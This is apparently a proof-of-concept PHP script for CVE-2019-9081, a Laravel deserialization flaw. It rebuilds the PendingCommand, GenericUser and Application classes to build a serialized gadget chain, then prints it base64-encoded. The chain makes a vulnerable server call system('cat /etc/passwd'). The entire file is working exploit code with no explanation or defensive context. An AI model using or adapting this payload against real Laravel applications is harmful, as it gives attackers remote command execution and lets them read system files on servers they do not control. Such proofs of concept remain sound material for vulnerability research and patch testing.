CVE-2019-9081_poc.php

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test; // Illuminate\Auth\GenericUser

        protected $app; // Illuminate\Foundation\Application

        protected $command; // "system"

        protected $parameters; // ["id"]

        protected $hasExecuted = false;

        public function __construct($command, $parameters, $test, $app)
        {
            $this->command = $command;
            $this->parameters = array($parameters);
            $this->test = $test;
            $this->app = $app;
        }
    }
}

namespace Illuminate\Auth {
    class GenericUser
    {
        protected $attributes;

        public function __construct(array $attributes)
        {
            $this->attributes = $attributes;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $bindings;

        public function __construct($bindings)
        {
            $this->bindings = $bindings;
        }
    }
}

namespace Payload {

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;
    use Illuminate\Foundation\Testing\PendingCommand;

    $temp1 = array("expectedOutput" => ['whatever'], "expectedQuestions" => ['whatever']);
    $temp2 = array("Illuminate\Contracts\Console\Kernel" => array("concrete" => "Illuminate\Foundation\Application"));
    $evilObject = new PendingCommand("system", "cat /etc/passwd", new GenericUser($temp1), new Application($temp2));
    echo base64_encode(serialize($evilObject));
}